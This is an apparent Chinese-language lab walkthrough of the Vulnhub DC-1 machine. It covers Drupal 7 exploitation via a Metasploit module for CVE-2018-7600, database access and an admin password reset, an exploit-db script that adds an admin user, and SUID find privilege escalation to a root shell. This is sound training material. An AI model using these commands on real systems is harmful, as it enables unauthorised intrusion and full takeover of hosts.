Vulnhub靶机——DC-1

靶机地址

https://www.vulnhub.com/entry/dc-1,292/

知识点

  1. drupal7框架漏洞CVE-2018-7600

  2. msf的框架模块利用getshell

  3. SUID-find提权

思路总结

  1. 信息收集(http端口,源码是否有信息泄露,CMS框架是否存在框架漏洞)

  2. msf利用框架漏洞获取普通用户shell

  3. Drupal7的用户密码重置成功进入web端后台(尝试中间件漏洞提权)

  4. SUID提权(终端提权)

渗透流程

一、主机发现

1.攻击机

#ip
192.168.186.135

2.靶机

Nmap扫描

nmap -sP 192.168.186.0/24
192.168.186.158

ARP扫描

arp-scan -l    #探测同一区域中存活主机

二、端口扫描

nmap强扫描

nmap -A -sV -T4 -p- 192.168.186.158

三、实施攻击

1.HTTP端口信息收集

(1)80端口源码查看

(2)无敏感信息,有CMS(内容管理系统)版本

(3)robots协议查看

2.漏洞利用

(1)CMS版本为drupal 7,搜索查看是否存在CMS框架漏洞

(2)存在CMS漏洞,进入msf进行cms漏洞模块利用

msfconsole    #进入msf控制台

(3)搜索drupal模块

search drupal        #搜索对应模块

(4)使用漏洞模块

use         #对应模块

(4)设置模块使用的对象,并且运行脚本(如图则成功利用脚本连接上靶机)

set rhosts 192.168.186.158        #设置模块应用的主机IP(存在漏洞的靶机)
run                               #运行模块脚本

3.获取shell

shell    #获得shell
python -c 'import pty;pty.spawn("/bin/bash")'    #美化shell

(1)基本信息收集

whoami        #查看当前用户
pwd           #查看当前所在路径     
ls            #查看当前目录下文件

(2)拿到提示信息(配置文件)

(3)搜索Drupal系统的默认配置文件信息

(4)find命令找出配置文件所在位置

find / -name 文件名    #在根目录下根据文件名进行查找
find / -name default.settings.php

(5)查看配置信息(得到数据库信息)

(6)进入数据库

mysql -u 数据库名 -p
mysql -u dbuser -p

(7)数据库信息收集

show databases;    #列出数据库
use drupaldb;      #进入drupaldb数据库
show tables;       #列出数据库中所有的表

(8)查看数据库用户表(发现管理员用户,但是密码是加密的)

select *from users    #列出users表中的信息

4.信息利用

(1)知道管理员用户的存在,如果能修改管理员用户密码,就能进入后台,查询一下是否存在默认重置密码功能

(2)官方提供两种解决办法,注册新的管理员用户或者修改密码

方法一

(1)msf查询下针对drupal框架攻击的脚本

searchsploit drupal    #发现可以利用脚本增加admin用户

(2)查看下靶机的drupal版本

cat /var/www/includes/bootstrap.inc | grep VERSION

(3)版本满足条件,可以使用增加admin用户的脚本,

searchsploit 34992.py -p #查看脚本的路径

(4)访问HTTP路径,下载脚本修改或者通过命令直接修改

python /usr/share/exploitdb/exploits/php/webapps/34992.py -t http://192.168.186.158 -u admin1 -p 666    #python3环境可能会报错

方法二

(1)找到系统默认的加密scripts脚本,

find / -name scripts    #drupal默认hash加密脚本是在drupal7项目所在目录,所以是在网站的根目录下

(2)得到新密码的hash值

php scripts/password-hash.sh 新密码
php scripts/password-hash.sh 666

(3)回到数据库,重置管理员密码

update drupaldb.users set pass="$S$DGbrDoNc82wkOtVKRZ/oWQ7tJN1Et5GaqpZ4N5BDzaWzihbT7VGB" where name="admin";

(4)以管理员身份登录后台

(5)翻找历史记录

/etc/passwd    #一个文本文件,存储用户账号信息,用户ID,组ID,shell等
/etc/shadow    #是/etc/passwd的影子文件,存有密码信息,通常需要root权限才能访问

(6)查看/etc/passwd文件(发现flag4在/home/flag4目录下)

(7)拿到flag4的提示,最后一个flag在root目录中

5.提权

一、web端提权

(1)wappalyzor抓取指纹信息

(2)查询是否存在中间件漏洞(并不存在)

二、终端提权

SUID-find提权

(1)查找具备SUID权限的可执行文件,并且文件拥有者为root

#不同系统对应命令不同,都试一下
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb{}
#常见的可以利用SUID提权的文件
nmap
vim
find
bash
more
less
nanocp
awk

(2)有find文件,再次确认find文件的文件拥有者(属主)

ls -l /usr/bin/find

(3)find命令直接提权

find / -exec '/bin/sh' \;

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值